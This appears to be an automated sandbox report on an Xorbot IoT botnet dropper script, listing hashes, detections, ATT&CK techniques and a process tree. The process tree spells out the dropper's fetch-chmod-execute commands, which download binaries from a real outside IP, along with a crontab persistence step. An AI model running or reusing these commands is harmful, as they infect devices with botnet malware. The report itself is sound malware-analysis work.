xorbot | c8242f14c875afa35b81c88aca43b9616dcb459f5d4bde4c63089ae8a8e41bb4

Analysis

max time kernel
150s
max time network
92s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02-12-2024 17:31

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General

Target

bins.sh
Size

10KB
MD5

8dd8477a41d76f42eeb1f7c1c86cec30
SHA1

d5707dacacae6f85bcdc053011ca5cca9381e083
SHA256

c8242f14c875afa35b81c88aca43b9616dcb459f5d4bde4c63089ae8a8e41bb4
SHA512

075b27d936a5e688eff44679ee0ba046b6cccbab994934738456b7209c160871a083e8e95b4555d6ae276c10b6ca9c884a6a0870d195675f78acffc29a19f493
SSDEEP

192:09Vvuq1eyOISkUERNddwsFyIA6bnHFANNPQcrrdwTIA6bnBkkUERNANNPQcrI9Vb:09Vvuq1eyOIBFyIA6bnHPIA6bnV9Vvuq

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-10.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmod

pid	Process
736	chmod
753	chmod
779	chmod
729	chmod

Executes dropped EXE 4 IoCs

Processes:

wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyvUvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJPO1PtLU9fp9w20TViApUdqOqVgCfTgTejwUZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp

ioc	pid	Process
/tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv	730	wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
/tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ	737	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
/tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw	755	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
/tmp/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp	780	UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp

Renames itself 1 IoCs

Processes:

PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw

pid	Process
756	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.IlhCFO	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

PO1PtLU9fp9w20TViApUdqOqVgCfTgTejwcrontabcrontabcurlcurl

description	ioc	Process
File opened for reading	/proc/2/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/10/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/36/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/76/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/113/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/139/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/782/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/765/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/780/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/805/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/699/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/802/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/21/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/807/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/5/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/81/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/689/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/705/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/784/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/829/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/4/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/103/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/499/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/766/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/794/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/791/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/804/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/37/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/78/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/148/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/770/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/787/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/817/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/8/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/23/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/72/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/785/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/795/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/387/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/500/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/789/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/827/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/835/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/112/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/764/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/767/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/70/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/345/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/763/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/823/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/16/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/24/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/77/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/146/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/373/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/839/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/73/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/818/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
File opened for reading	/proc/771/cmdline	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetbusyboxwgetbusyboxwgetcurlcurlcurlbusybox

description	ioc	Process
File opened for modification	/tmp/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp	busybox
File opened for modification	/tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv	wget
File opened for modification	/tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv	busybox
File opened for modification	/tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ	wget
File opened for modification	/tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ	busybox
File opened for modification	/tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw	wget
File opened for modification	/tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw	curl
File opened for modification	/tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv	curl
File opened for modification	/tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ	curl
File opened for modification	/tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  ./wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  - Executes dropped EXE
  PID:730
- /bin/rm
  rm wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  PID:732
- /usr/bin/wget
  wget http://216.126.231.240/bins/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  - Writes file to tmp directory
  PID:733
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  ./Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  PID:739
- /usr/bin/wget
  wget http://216.126.231.240/bins/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod 777 PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  ./PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:755
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:757
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:759
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:760
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:762
- /bin/rm
  rm PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  PID:765
- /usr/bin/wget
  wget http://216.126.231.240/bins/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
  2⤵
  PID:771
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
  2⤵
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
  ./UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
  2⤵
  PID:783
- /usr/bin/wget
  wget http://216.126.231.240/bins/2jmf250nWCZoL7t2fg1lhIryMNBNNYYpWr
  2⤵
  PID:784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.IlhCFO

Filesize
210B

MD5
a1ae977dbee4591f1d7de7ba9eaa6392

SHA1
a67d52cbb66f7c5312912f257b1a2cba69c391c9

SHA256
e9d97c8692e88ab94631583f7198a517e29958d150c05e96ff989e8ce61de94a

SHA512
7566a9866b80e4cdfa9ecd338790437e21037d937eea960dcf8e6785c366e3e58c779b11a1674ca247f2b8fadb7522f80ad09d60056ad1d2f3d5fab85fea6481

Download Submit